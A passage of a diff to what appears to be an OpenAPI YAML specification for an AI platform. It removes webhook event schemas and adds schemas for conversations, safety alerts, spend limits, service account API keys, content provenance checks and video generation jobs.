+ default: response.shell_call_output_content.done
x-stainless-const: true
- x-oaiMeta:
- name: fine_tuning.job.failed
- group: webhook-events
- example: "{\n \"id\": \"evt_abc123\",\n \"type\": \"fine_tuning.job.failed\",\n \"created_at\": 1719168000,\n \"data\": {\n \"id\": \"ftjob_abc123\"\n }\n} \n"
- WebhookFineTuningJobSucceeded:
+ sequence_number:
+ type: integer
+ description: The sequence number of the event that was emitted.
+ item_id:
+ type: string
+ description: The ID of the output item that was updated.
+ output_index:
+ type: integer
+ description: The index of the output item that was updated.
+ command_index:
+ type: integer
+ description: The index of the shell command that produced output.
+ output:
+ items:
+ $ref: '#/components/schemas/FunctionShellCallOutputContent'
+ type: array
+ description: The output contents emitted for the shell command.
type: object
- title: fine_tuning.job.succeeded
- description: |
- Sent when a fine-tuning job has succeeded.
required:
- - created_at
- - id
- - data
- type
+ - sequence_number
+ - item_id
+ - output_index
+ - command_index
+ - output
+ title: Response shell call output content done event
+ description: A streaming event that indicated shell call output was completed.
+ CreateConversationBody:
+ properties:
+ metadata:
+ anyOf:
+ - $ref: '#/components/schemas/Metadata'
+ description: |-
+ Set of 16 key-value pairs that can be attached to an object. This can be useful for storing additional information about the object in a structured format, and querying for objects via API or the dashboard.
+ Keys are strings with a maximum length of 64 characters. Values are strings with a maximum length of 512 characters.
+ - type: 'null'
+ items:
+ anyOf:
+ - items:
+ $ref: '#/components/schemas/InputItem'
+ type: array
+ maxItems: 20
+ description: Initial items to include in the conversation context. You may add up to 20 items at a time.
+ - type: 'null'
+ type: object
+ required: []
+ UpdateConversationBody:
+ properties:
+ metadata:
+ $ref: '#/components/schemas/Metadata'
+ description: |-
+ Set of 16 key-value pairs that can be attached to an object. This can be useful for storing additional information about the object in a structured format, and querying for objects via API or the dashboard.
+ Keys are strings with a maximum length of 64 characters. Values are strings with a maximum length of 512 characters.
+ type: object
+ required:
+ - metadata
+ DeletedConversationResource:
properties:
- created_at:
- type: integer
- format: unixtime
- description: |
- The Unix timestamp (in seconds) of when the fine-tuning job succeeded.
- id:
- type: string
- description: |
- The unique ID of the event.
- data:
- type: object
- description: |
- Event data payload.
- required:
- - id
- properties:
- id:
- type: string
- description: |
- The unique ID of the fine-tuning job.
object:
type: string
- description: |
- The object of the event. Always `event`.
enum:
- - event
+ - conversation.deleted
+ default: conversation.deleted
x-stainless-const: true
- type:
+ deleted:
+ type: boolean
+ id:
type: string
- description: |
- The type of the event. Always `fine_tuning.job.succeeded`.
- enum:
- - fine_tuning.job.succeeded
- x-stainless-const: true
- x-oaiMeta:
- name: fine_tuning.job.succeeded
- group: webhook-events
- example: "{\n \"id\": \"evt_abc123\",\n \"type\": \"fine_tuning.job.succeeded\",\n \"created_at\": 1719168000,\n \"data\": {\n \"id\": \"ftjob_abc123\"\n }\n} \n"
- WebhookLiveCallIncoming:
type: object
- title: live.call.incoming
- deprecated: true
- description: |
- Deprecated: use `live.transport.incoming`. Retained for existing subscriptions
- during migration; new subscriptions to this event are not allowed.
- Sent when an incoming API SIP session is available for Live acceptance. The
- same pending session can also emit `realtime.call.incoming`; the first
- successful Realtime or Live accept endpoint selects the runtime surface.
required:
- - created_at
+ - object
+ - deleted
- id
- - data
- - type
+ SafetyAlertErrorType:
+ type: string
+ enum:
+ - potentially_unintended_data_transfer
+ - potentially_unintended_data_access
+ - potentially_unintended_destructive_activity
+ - other
+ SafetyAlertResource:
properties:
- created_at:
- type: integer
- format: unixtime
- description: |
- The Unix timestamp (in seconds) of when the event was created.
id:
type: string
- description: |
- The unique ID of the event.
- data:
- type: object
- description: |
- Event data payload.
- required:
- - session_id
- - sip_headers
- properties:
- session_id:
- type: string
- description: |
- The `live_...` ID of the pending SIP session. Pass this value unchanged
- to Live call controls and sideband connections. The corresponding
- `realtime.call.incoming` event uses a separate `rtc_...` call ID.
- sip_headers:
- type: array
- description: |
- Headers from the SIP INVITE, excluding SIP authorization headers.
- Retained names, values, repeated entries, and order are preserved.
- Treat these values as untrusted call metadata.
- items:
- type: object
- description: |
- A header from the SIP Invite.
- required:
- - name
- - value
- properties:
- name:
- type: string
- description: |
- Name of the SIP Header.
- value:
- type: string
- description: |
- Value of the SIP Header.
object:
type: string
- description: |
- The object of the event. Always `event`.
enum:
- - event
+ - safety.alert
+ default: safety.alert
x-stainless-const: true
- type:
+ created_at:
+ type: integer
+ format: unixtime
+ request_id:
type: string
- description: |
- The type of the event. Always `live.call.incoming`.
- enum:
- - live.call.incoming
- x-stainless-const: true
- x-oaiMeta:
- name: live.call.incoming
- group: webhook-events
- example: |
- {
- "id": "evt_abc123",
- "type": "live.call.incoming",
- "created_at": 1719168000,
- "data": {
- "session_id": "live_u0_479a275623b54bdb9b6fbae2f7cbd408",
- "sip_headers": [
- {"name": "From", "value": ";tag=abc123"},
- {"name": "To", "value": ""},
- {"name": "Call-ID", "value": "call-123@example.com"}
- ]
- }
- }
- WebhookLiveTransportIncoming:
+ response_id:
+ type: string
+ model:
+ type: string
+ request_paused:
+ type: boolean
+ description: Whether block registration succeeded for this request. This does not confirm that response execution stopped.
+ error_type:
+ $ref: '#/components/schemas/SafetyAlertErrorType'
+ reason:
+ anyOf:
+ - type: string
+ description: A customer-safe description derived from error_type, or null for zero data retention requests.
+ - type: 'null'
type: object
- title: live.transport.incoming
- description: |
- Sent when an incoming API SIP session is available for Live acceptance. The
- same pending session can also emit `realtime.call.incoming`; the first
- successful Realtime or Live accept endpoint selects the runtime surface.
required:
- - created_at
- id
- - data
- - type
+ - object
+ - created_at
+ - request_id
+ - response_id
+ - model
+ - request_paused
+ - error_type
+ - reason
+ SpendLimitCurrency:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - USD
+ SpendLimitInterval:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - month
+ SpendLimitEnforcementStatus:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - inactive
+ - enforcing
+ SpendLimitEnforcement:
+ properties:
+ status:
+ $ref: '#/components/schemas/SpendLimitEnforcementStatus'
+ description: Whether the hard spend limit is currently enforcing.
+ type: object
+ required:
+ - status
+ description: The current enforcement state of a hard spend limit.
+ OrganizationSpendLimitResource:
properties:
- created_at:
- type: integer
- format: unixtime
- description: |
- The Unix timestamp (in seconds) of when the event was created.
- id:
- type: string
- description: |
- The unique ID of the event.
- data:
- type: object
- description: |
- Event data payload.
- required:
- - type
- - session_id
- - sip_headers
- properties:
- type:
- type: string
- description: The incoming transport type. Always `sip`.
- enum:
- - sip
- x-stainless-const: true
- session_id:
- type: string
- description: |
- The `live_...` ID of the pending SIP session. Forward this value
- unchanged when accepting or rejecting the call through the Live API.
- sip_headers:
- type: array
- description: |
- Headers from the SIP INVITE, excluding SIP authorization headers.
- Retained names, values, repeated entries, and order are preserved.
- Treat these values as untrusted call metadata.
- items:
- type: object
- description: |
- A header from the SIP Invite.
- required:
- - name
- - value
- properties:
- name:
- type: string
- description: |
- Name of the SIP Header.
- value:
- type: string
- description: |
- Value of the SIP Header.
object:
type: string
- description: |
- The object of the event. Always `event`.
- enum:
- - event
- x-stainless-const: true
- type:
- type: string
- description: |
- The type of the event. Always `live.transport.incoming`.
enum:
- - live.transport.incoming
+ - organization.spend_limit
+ description: The object type, which is always `organization.spend_limit`.
+ default: organization.spend_limit
x-stainless-const: true
- x-oaiMeta:
- name: live.transport.incoming
- group: webhook-events
- example: |
- {
- "id": "evt_abc123",
- "type": "live.transport.incoming",
- "created_at": 1719168000,
- "data": {
- "type": "sip",
- "session_id": "live_u0_479a275623b54bdb9b6fbae2f7cbd408",
- "sip_headers": [
- {"name": "From", "value": ";tag=abc123"},
- {"name": "To", "value": ""},
- {"name": "Call-ID", "value": "call-123@example.com"}
- ]
- }
- }
- WebhookRealtimeCallIncoming:
+ threshold_amount:
+ type: integer
+ description: The hard spend limit amount, in cents.
+ currency:
+ $ref: '#/components/schemas/SpendLimitCurrency'
+ description: The currency for the threshold amount. Currently, only `USD` is supported.
+ interval:
+ $ref: '#/components/schemas/SpendLimitInterval'
+ description: The time interval for evaluating spend against the threshold. Currently, only `month` is supported.
+ enforcement:
+ $ref: '#/components/schemas/SpendLimitEnforcement'
+ description: The current enforcement state of the hard spend limit.
type: object
- title: realtime.call.incoming
- description: |
- Sent when an incoming API SIP session is available for Realtime acceptance.
- The same pending session can also emit `live.transport.incoming`; the first
- successful Realtime or Live accept endpoint selects the runtime surface.
required:
- - created_at
- - id
- - data
- - type
+ - object
+ - threshold_amount
+ - currency
+ - interval
+ - enforcement
+ description: Represents a hard spend limit configured at the organization level.
+ UpdateOrganizationSpendLimitBody:
properties:
- created_at:
+ threshold_amount:
type: integer
- format: unixtime
- description: |
- The Unix timestamp (in seconds) of when the model response was completed.
- id:
+ minimum: 1
+ description: The hard spend limit amount, in cents.
+ currency:
type: string
- description: |
- The unique ID of the event.
- data:
- type: object
- description: |
- Event data payload.
- required:
- - call_id
- - sip_headers
- properties:
- call_id:
- type: string
- description: |
- The Transceiver `rtc_...` ID of the pending SIP session. The paired
- `live.transport.incoming` event derives its `session_id` by replacing the
- `rtc_` prefix with `live_`. Use the ID returned by the event with the
- corresponding Realtime or Live API.
- sip_headers:
- type: array
- description: |
- Headers from the SIP INVITE, excluding SIP authorization headers.
- Retained names, values, repeated entries, and order are preserved.
- Treat these values as untrusted call metadata.
- items:
- type: object
- description: |
- A header from the SIP Invite.
- required:
- - name
- - value
- properties:
- name:
- type: string
- description: |
- Name of the SIP Header.
- value:
- type: string
- description: |
- Value of the SIP Header.
+ enum:
+ - USD
+ description: The currency for the threshold amount. Currently, only `USD` is supported.
+ interval:
+ type: string
+ enum:
+ - month
+ description: The time interval for evaluating spend against the threshold. Currently, only `month` is supported.
+ type: object
+ required:
+ - threshold_amount
+ - currency
+ - interval
+ description: Parameters for the hard spend limit you want to create or replace.
+ OrganizationSpendLimitDeletedResource:
+ properties:
object:
type: string
- description: |
- The object of the event. Always `event`.
enum:
- - event
+ - organization.spend_limit.deleted
+ description: The object type, which is always `organization.spend_limit.deleted`.
+ default: organization.spend_limit.deleted
x-stainless-const: true
- type:
+ deleted:
+ type: boolean
+ description: Whether the hard spend limit was deleted.
+ type: object
+ required:
+ - object
+ - deleted
+ description: Confirmation payload returned after deleting an organization hard spend limit.
+ ProjectSpendLimitResource:
+ properties:
+ object:
type: string
- description: |
- The type of the event. Always `realtime.call.incoming`.
enum:
- - realtime.call.incoming
+ - project.spend_limit
+ description: The object type, which is always `project.spend_limit`.
+ default: project.spend_limit
x-stainless-const: true
- x-oaiMeta:
- name: realtime.call.incoming
- group: webhook-events
- example: |
- {
- "id": "evt_abc123",
- "type": "realtime.call.incoming",
- "created_at": 1719168000,
- "data": {
- "call_id": "rtc_479a275623b54bdb9b6fbae2f7cbd408",
- "sip_headers": [
- {"name": "Max-Forwards", "value": "63"},
- {"name": "CSeq", "value": "851287 INVITE"},
- {"name": "Content-Type", "value": "application/sdp"}
- ]
- }
- }
- WebhookResponseCancelled:
+ threshold_amount:
+ type: integer
+ description: The hard spend limit amount, in cents.
+ currency:
+ $ref: '#/components/schemas/SpendLimitCurrency'
+ description: The currency for the threshold amount. Currently, only `USD` is supported.
+ interval:
+ $ref: '#/components/schemas/SpendLimitInterval'
+ description: The time interval for evaluating spend against the threshold. Currently, only `month` is supported.
+ enforcement:
+ $ref: '#/components/schemas/SpendLimitEnforcement'
+ description: The current enforcement state of the hard spend limit.
type: object
- title: response.cancelled
- description: |
- Sent when a background response has been cancelled.
required:
- - created_at
- - id
- - data
- - type
+ - object
+ - threshold_amount
+ - currency
+ - interval
+ - enforcement
+ description: Represents a hard spend limit configured at the project level.
+ UpdateProjectSpendLimitBody:
properties:
- created_at:
+ threshold_amount:
type: integer
- format: unixtime
- description: |
- The Unix timestamp (in seconds) of when the model response was cancelled.
- id:
+ minimum: 1
+ description: The hard spend limit amount, in cents.
+ currency:
type: string
- description: |
- The unique ID of the event.
- data:
- type: object
- description: |
- Event data payload.
- required:
- - id
- properties:
- id:
- type: string
- description: |
- The unique ID of the model response.
- object:
+ enum:
+ - USD
+ description: The currency for the threshold amount. Currently, only `USD` is supported.
+ interval:
type: string
- description: |
- The object of the event. Always `event`.
enum:
- - event
- x-stainless-const: true
- type:
+ - month
+ description: The time interval for evaluating spend against the threshold. Currently, only `month` is supported.
+ type: object
+ required:
+ - threshold_amount
+ - currency
+ - interval
+ description: Parameters for the hard spend limit you want to create or replace.
+ ProjectSpendLimitDeletedResource:
+ properties:
+ object:
type: string
- description: |
- The type of the event. Always `response.cancelled`.
enum:
- - response.cancelled
+ - project.spend_limit.deleted
+ description: The object type, which is always `project.spend_limit.deleted`.
+ default: project.spend_limit.deleted
x-stainless-const: true
- x-oaiMeta:
- name: response.cancelled
- group: webhook-events
- example: |
- {
- "id": "evt_abc123",
- "type": "response.cancelled",
- "created_at": 1719168000,
- "data": {
- "id": "resp_abc123"
- }
- }
- WebhookResponseCompleted:
+ deleted:
+ type: boolean
+ description: Whether the hard spend limit was deleted.
type: object
- title: response.completed
- description: |
- Sent when a background response has been completed.
required:
- - created_at
- - id
- - data
- - type
+ - object
+ - deleted
+ description: Confirmation payload returned after deleting a project hard spend limit.
+ CreateProjectServiceAccountApiKeyBody:
properties:
- created_at:
- type: integer
- format: unixtime
- description: |
- The Unix timestamp (in seconds) of when the model response was completed.
- id:
+ name:
type: string
- description: |
- The unique ID of the event.
- data:
- type: object
- description: |
- Event data payload.
- required:
- - id
- properties:
- id:
- type: string
- description: |
- The unique ID of the model response.
+ description: API key name.
+ scopes:
+ items:
+ type: string
+ description: API key scope.
+ type: array
+ description: API key scopes.
+ expires_in_seconds:
+ anyOf:
+ - type: integer
+ maximum: 31536000
+ minimum: 1
+ description: Number of seconds until the API key expires.
+ - type: 'null'
+ type: object
+ required: []
+ description: The service account API key create request payload.
+ ServiceAccountApiKeyBody:
+ properties:
object:
type: string
- description: |
- The object of the event. Always `event`.
enum:
- - event
+ - organization.project.service_account.api_key
+ description: The object type, which is always `organization.project.service_account.api_key`
+ default: organization.project.service_account.api_key
x-stainless-const: true
- type:
+ value:
type: string
- description: |
- The type of the event. Always `response.completed`.
- enum:
- - response.completed
- x-stainless-const: true
- x-oaiMeta:
- name: response.completed
- group: webhook-events
- example: |
- {
- "id": "evt_abc123",
- "type": "response.completed",
- "created_at": 1719168000,
- "data": {
- "id": "resp_abc123"
- }
- }
- WebhookResponseFailed:
+ description: The unredacted API key value.
+ name:
+ type: string
+ description: The name of the API key.
+ created_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) when the API key was created.
+ expires_at:
+ anyOf:
+ - type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) when the API key expires, or null if it does not expire.
+ - type: 'null'
+ id:
+ type: string
+ description: The identifier of the API key.
type: object
- title: response.failed
- description: |
- Sent when a background response has failed.
required:
+ - object
+ - value
+ - name
- created_at
- id
- - data
- - type
+ CreateContentProvenanceBody:
properties:
- created_at:
- type: integer
- format: unixtime
- description: |
- The Unix timestamp (in seconds) of when the model response failed.
- id:
+ file:
type: string
- description: |
- The unique ID of the event.
- data:
- type: object
- description: |
- Event data payload.
- required:
- - id
- properties:
- id:
- type: string
- description: |
- The unique ID of the model response.
- object:
+ format: binary
+ description: The image or audio file to check for supported OpenAI provenance signals.
+ type: object
+ required:
+ - file
+ ProvenanceCheckObject:
+ type: string
+ enum:
+ - content_provenance_check
+ ProvenanceDetectionResultApi:
+ type: string
+ enum:
+ - detected
+ - not_detected
+ C2PAValidationStateApi:
+ type: string
+ enum:
+ - trusted
+ - valid
+ - invalid
+ - not_present
+ C2PAProvenanceResult:
+ properties:
+ type:
type: string
- description: |
- The object of the event. Always `event`.
enum:
- - event
+ - c2pa
+ description: The provenance signal type. Always `c2pa`.
+ default: c2pa
x-stainless-const: true
+ outcome:
+ $ref: '#/components/schemas/ProvenanceDetectionResultApi'
+ description: |-
+ Whether a supported OpenAI C2PA provenance signal was detected.
+ If `not_detected`, it means the tool did not find supported signals in the uploaded file. The content could still have been generated by OpenAI if the metadata was stripped or has evidence of tampering, the watermark was degraded, it comes from a legacy generation model, or it was created before provenance signals were available. Content could also still be AI-generated by another company's model, which the tool currently does not detect.
+ validation_state:
+ $ref: '#/components/schemas/C2PAValidationStateApi'
+ description: The validation status of the C2PA manifest in the uploaded image.
+ issuer:
+ anyOf:
+ - type: string
+ description: The C2PA manifest issuer, when available.
+ - type: 'null'
+ model:
+ anyOf:
+ - type: string
+ description: The OpenAI model recorded by the provenance signal, when available.
+ - type: 'null'
+ generated_at:
+ anyOf:
+ - type: string
+ description: The UTC RFC 3339 timestamp recorded by the provenance signal for when the asset was generated, when available.
+ - type: 'null'
+ type: object
+ required:
+ - type
+ - outcome
+ - validation_state
+ - issuer
+ - model
+ - generated_at
+ SynthIDProvenanceResult:
+ properties:
type:
type: string
- description: |
- The type of the event. Always `response.failed`.
enum:
- - response.failed
+ - synthid
+ description: The provenance signal type. Always `synthid`.
+ default: synthid
x-stainless-const: true
- x-oaiMeta:
- name: response.failed
- group: webhook-events
- example: |
- {
- "id": "evt_abc123",
- "type": "response.failed",
- "created_at": 1719168000,
- "data": {
- "id": "resp_abc123"
- }
- }
- WebhookResponseIncomplete:
+ outcome:
+ $ref: '#/components/schemas/ProvenanceDetectionResultApi'
+ description: |-
+ Whether a supported OpenAI SynthID watermark was detected.
+ If `not_detected`, it means the tool did not find supported signals in the uploaded file. The content could still have been generated by OpenAI if the metadata was stripped or has evidence of tampering, the watermark was degraded, it comes from a legacy generation model, or it was created before provenance signals were available. Content could also still be AI-generated by another company's model, which the tool currently does not detect.
+ model:
+ anyOf:
+ - type: string
+ description: The OpenAI model recorded by the provenance signal, when available.
+ - type: 'null'
+ generated_at:
+ anyOf:
+ - type: string
+ description: The UTC RFC 3339 timestamp recorded by the provenance signal for when the asset was generated, when available.
+ - type: 'null'
type: object
- title: response.incomplete
- description: |
- Sent when a background response has been interrupted.
required:
- - created_at
- - id
- - data
- type
+ - outcome
+ - model
+ - generated_at
+ ProvenanceResource:
properties:
+ object:
+ $ref: '#/components/schemas/ProvenanceCheckObject'
+ description: The object type. Always `content_provenance_check` for this endpoint.
created_at:
type: integer
format: unixtime
- description: |
- The Unix timestamp (in seconds) of when the model response was interrupted.
- id:
- type: string
- description: |
- The unique ID of the event.
- data:
- type: object
- description: |
- Event data payload.
- required:
- - id
- properties:
- id:
- type: string
- description: |
- The unique ID of the model response.
- object:
+ description: The Unix timestamp, in seconds, when the provenance check was created.
+ results:
+ items:
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/C2PAProvenanceResult'
+ - $ref: '#/components/schemas/SynthIDProvenanceResult'
+ type: array
+ description: The provenance results that apply to the uploaded file. Image results include C2PA and SynthID; audio results include SynthID.
+ type: object
+ required:
+ - object
+ - created_at
+ - results
+ OrderEnum:
+ type: string
+ enum:
+ - asc
+ - desc
+ VideoModel:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - sora-2
+ - sora-2-pro
+ - sora-2-2025-10-06
+ - sora-2-pro-2025-10-06
+ - sora-2-2025-12-08
+ VideoStatus:
+ type: string
+ enum:
+ - queued
+ - in_progress
+ - completed
+ - failed
+ VideoSize:
+ type: string
+ enum:
+ - 720x1280
+ - 1280x720
+ - 1024x1792
+ - 1792x1024
+ Error-2:
+ properties:
+ code:
type: string
- description: |
- The object of the event. Always `event`.
- enum:
- - event
- x-stainless-const: true
- type:
+ description: A machine-readable error code that was returned.
+ message:
type: string
- description: |
- The type of the event. Always `response.incomplete`.
- enum:
- - response.incomplete
- x-stainless-const: true
- x-oaiMeta:
- name: response.incomplete
- group: webhook-events
- example: |
- {
- "id": "evt_abc123",
- "type": "response.incomplete",
- "created_at": 1719168000,
- "data": {
- "id": "resp_abc123"
- }
- }
- WebhookSafetyAlertCreated:
+ description: A human-readable description of the error that was returned.
+ misalignment:
+ $ref: '#/components/schemas/MisalignmentErrorDetailsResource'
type: object
- title: safety.alert.created
- description: Sent when an approved safety alert is available for an API project.
required:
- - id
- - object
- - created_at
- - type
- - data
+ - code
+ - message
+ title: Error
+ description: An error that occurred while generating the response.
+ VideoResource:
properties:
id:
type: string
- description: The unique ID of the webhook event.
+ description: Unique identifier for the video job.
object:
type: string
enum:
- - event
+ - video
+ description: The object type, which is always `video`.
+ default: video
x-stainless-const: true
- description: Always `event`.
+ model:
+ $ref: '#/components/schemas/VideoModel'
+ description: The video generation model that produced the job.
+ status:
+ $ref: '#/components/schemas/VideoStatus'
+ description: Current lifecycle status of the video job.
+ progress:
+ type: integer
+ description: Approximate completion percentage for the generation task.
created_at:
type: integer
format: unixtime
- description: The Unix timestamp in seconds when the event was created.
- type:
- type: string
- enum:
- - safety.alert.created
- x-stainless-const: true
- description: Always `safety.alert.created`.
- data:
- type: object
- additionalProperties: false
- required:
- - id
- properties:
- id:
- type: string
- pattern: ^alert_[0-9a-f]{32}$
- description: The safety alert ID to pass to `GET /v1/safety/alerts/{id}`.
- x-oaiMeta:
- name: safety.alert.created
- group: webhook-events
- example: |
- {
- "id": "evt_123",
- "object": "event",
- "created_at": 1787659200,
- "type": "safety.alert.created",
- "data": {"id": "alert_0123456789abcdef0123456789abcdef"}
- }
- WebhookSafetyOrgAlertCreated:
+ description: Unix timestamp (seconds) for when the job was created.
+ completed_at:
+ anyOf:
+ - type: integer
+ format: unixtime
+ description: Unix timestamp (seconds) for when the job completed, if finished.
+ - type: 'null'
+ expires_at:
+ anyOf:
+ - type: integer
+ format: unixtime
+ description: Unix timestamp (seconds) for when the downloadable assets expire, if set.
+ - type: 'null'
+ prompt:
+ anyOf:
+ - type: string
+ description: The prompt that was used to generate the video.
+ - type: 'null'
+ size:
+ $ref: '#/components/schemas/VideoSize'
+ description: The resolution of the generated video.
+ seconds:
+ anyOf:
+ - type: string
+ - $ref: '#/components/schemas/VideoSeconds'
+ description: Duration of the generated clip in seconds. For extensions, this is the stitched total duration.
+ remixed_from_video_id:
+ anyOf:
+ - type: string
+ description: Identifier of the source video if this video is a remix.
+ - type: 'null'
+ error:
+ anyOf:
+ - $ref: '#/components/schemas/Error-2'
+ description: Error payload that explains why generation failed, if applicable.
+ - type: 'null'
type: object
- title: safety.org_alert.created
- description: Sent when an approved safety alert is available for an enterprise workspace.
required:
- id
- object
+ - model
+ - status
+ - progress
- created_at
- - type
- - data
+ - completed_at
+ - expires_at
+ - prompt
+ - size
+ - seconds
+ - remixed_from_video_id
+ - error
+ title: Video job
+ description: Structured information describing a generated video job.
+ VideoListResource:
properties:
- id:
- type: string
- description: The unique ID of the webhook event.
object:
- type: string
- enum:
- - event
- x-stainless-const: true
- description: Always `event`.
- created_at:
- type: integer
- format: unixtime
- description: The Unix timestamp in seconds when the event was created.
- type:
- type: string
- enum:
- - safety.org_alert.created
x-stainless-const: true
- description: Always `safety.org_alert.created`.
+ default: list
+ description: The type of object returned, must be `list`.
+ const: list
data:
- type: object
- additionalProperties: false
- required:
- - id
- properties:
- id:
- type: string
- pattern: ^alert_[0-9a-f]{32}$
- description: The safety alert ID to pass to `GET /v1/safety/alerts/{id}`.
- x-oaiMeta:
- name: safety.org_alert.created
- group: webhook-events
- example: |
- {
- "id": "evt_123",
- "object": "event",
- "created_at": 1787659200,
- "type": "safety.org_alert.created",
- "data": {"id": "alert_0123456789abcdef0123456789abcdef"}
- }
- ModerationInputType:
- type: string
- enum:
- - text
- - image
- ModerationResultBody:
+ items:
+ $ref: '#/components/schemas/VideoResource'
+ type: array
+ description: A list of items
+ first_id:
+ anyOf:
+ - type: string
+ description: The ID of the first item in the list.
+ - type: 'null'
+ last_id:
+ anyOf:
+ - type: string
+ description: The ID of the last item in the list.
+ - type: 'null'
+ has_more:
+ type: boolean
+ description: Whether there are more items available.
+ type: object
+ required:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ ImageRefParam-2:
properties:
- type:
+ image_url:
type: string
- enum:
- - moderation_result
- description: The object type, which was always `moderation_result` for successful moderation results.
- default: moderation_result
- x-stainless-const: true
- model:
+ maxLength: 20971520
+ format: uri
+ description: A fully qualified URL or base64-encoded data URL.
+ file_id:
type: string
- description: The moderation model that produced this result.
- flagged:
- type: boolean
- description: A boolean indicating whether the content was flagged by any category.
- categories:
- additionalProperties:
- type: boolean
- type: object
- description: A dictionary of moderation categories to booleans, True if the input is flagged under this category.
- x-oaiTypeLabel: map
- category_scores:
- additionalProperties:
- type: number
- type: object
- description: A dictionary of moderation categories to scores.
- x-oaiTypeLabel: map
- category_applied_input_types:
- additionalProperties:
- items:
- $ref: '#/components/schemas/ModerationInputType'
- type: array
- type: object
- description: Which modalities of input are reflected by the score for each category.
- x-oaiTypeLabel: map
+ example: file-123
type: object
- required:
- - type
- - model
- - flagged
- - categories
- - category_scores
- - category_applied_input_types
- title: Moderation result
- description: A moderation result produced for the response input or output.
- PromptCacheTTLEnum:
- type: string
- enum:
- - 30m
- PromptCacheModeEnum:
+ required: []
+ VideoSeconds:
type: string
enum:
- - implicit
- - explicit
- PromptCacheOptionsParam:
+ - '4'
+ - '8'
+ - '12'
+ CreateVideoMultipartBody:
properties:
- ttl:
- $ref: '#/components/schemas/PromptCacheTTLEnum'
- description: The minimum lifetime applied to every implicit and explicit cache breakpoint written by the request. Defaults to `30m`, which is currently the only supported value. The backend may retain cache entries for longer.
- mode:
- $ref: '#/components/schemas/PromptCacheModeEnum'
- description: Controls whether OpenAI automatically creates an implicit cache breakpoint. Defaults to `implicit`. With `implicit`, OpenAI creates one implicit breakpoint and writes up to the latest three explicit breakpoints in the request. With `explicit`, OpenAI does not create an implicit breakpoint and writes up to the latest four explicit breakpoints. If there are no explicit breakpoints, the request does not use prompt caching.
+ model:
+ $ref: '#/components/schemas/VideoModel'
+ description: 'The video generation model to use (allowed values: sora-2, sora-2-pro). Defaults to `sora-2`.'
+ prompt:
+ type: string
+ maxLength: 32000
+ minLength: 1
+ description: Text prompt that describes the video to generate.
+ input_reference:
+ anyOf:
+ - type: string
+ format: binary
+ description: Optional reference asset upload or reference object that guides generation.
+ - $ref: '#/components/schemas/ImageRefParam-2'
+ description: Optional reference asset upload or reference object that guides generation. Provide exactly one of `image_url` or `file_id` when using an object.
+ seconds:
+ $ref: '#/components/schemas/VideoSeconds'
+ description: 'Clip duration in seconds (allowed values: 4, 8, 12). Defaults to 4 seconds.'
+ size:
+ $ref: '#/components/schemas/VideoSize'
+ description: 'Output resolution formatted as width x height (allowed values: 720x1280, 1280x720, 1024x1792, 1792x1024). Defaults to 720x1280.'
type: object
- required: []
- title: Prompt cache options
- description: Options for prompt caching. Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching) for current details.
- PromptCacheBreakpointParam:
+ required:
+ - prompt
+ title: Create video multipart request
+ description: Multipart parameters for creating a new video generation job.
+ CreateVideoJsonBody:
properties:
- mode:
+ model:
+ $ref: '#/components/schemas/VideoModel'
+ description: 'The video generation model to use (allowed values: sora-2, sora-2-pro). Defaults to `sora-2`.'
+ prompt:
type: string
- enum:
- - explicit
- description: The breakpoint mode. Always `explicit`.
- default: explicit
- x-stainless-const: true
+ maxLength: 32000
+ minLength: 1
+ description: Text prompt that describes the video to generate.
+ input_reference:
+ $ref: '#/components/schemas/ImageRefParam-2'
+ description: Optional reference object that guides generation. Provide exactly one of `image_url` or `file_id`.
+ seconds:
+ $ref: '#/components/schemas/VideoSeconds'
+ description: 'Clip duration in seconds (allowed values: 4, 8, 12). Defaults to 4 seconds.'
+ size:
+ $ref: '#/components/schemas/VideoSize'
+ description: 'Output resolution formatted as width x height (allowed values: 720x1280, 1280x720, 1024x1792, 1792x1024). Defaults to 720x1280.'
type: object
required:
- - mode
- title: Prompt cache breakpoint
- description: Marks the exact end of a reusable prompt prefix. The breakpoint inherits its TTL from the request's `prompt_cache_options.ttl`; the boundary is not rounded to a token block.
- ModerationMode:
- type: string
- enum:
- - score
- - block
- ModerationConfigParam:
+ - prompt
+ title: Create video JSON request
+ description: JSON parameters for creating a new video generation job.
+ CreateVideoCharacterBody:
properties:
- mode:
- $ref: '#/components/schemas/ModerationMode'
+ video:
+ type: string
+ format: binary
+ description: Video file used to create a character.
+ name:
+ type: string
+ maxLength: 80
+ minLength: 1
+ description: Display name for this API character.
type: object
required:
- - mode
- description: The moderation policy for the response input.
- ModerationPolicyParam:
+ - video
+ - name
+ title: Create character request
+ description: Parameters for creating a character from an uploaded video.
+ VideoCharacterResource:
properties:
- input:
- anyOf:
- - $ref: '#/components/schemas/ModerationConfigParam'
- description: The moderation policy for the response input.
- - type: 'null'
- output:
+ id:
anyOf:
- - $ref: '#/components/schemas/ModerationConfigParam'
- description: The moderation policy for the response output.
+ - type: string
+ description: Identifier for the character creation cameo.
- type: 'null'
- type: object
- required: []
- description: The policy to apply to moderated response input and output.
- ModerationParam:
- properties:
- model:
- type: string
- description: The moderation model to use for moderated completions, e.g. 'omni-moderation-latest'.
- policy:
+ name:
anyOf:
- - $ref: '#/components/schemas/ModerationPolicyParam'
- description: The policy to apply to moderated response input and output.
+ - type: string
+ description: Display name for the character.
- type: 'null'
+ created_at:
+ type: integer
+ format: unixtime
+ description: Unix timestamp (in seconds) when the character was created.
type: object
required:
- - model
- description: Configuration for running moderation on the input and output of this response.
- SkillReferenceParam:
+ - id
+ - name
+ - created_at
+ VideoReferenceInputParam:
properties:
- type:
- type: string
- enum:
- - skill_reference
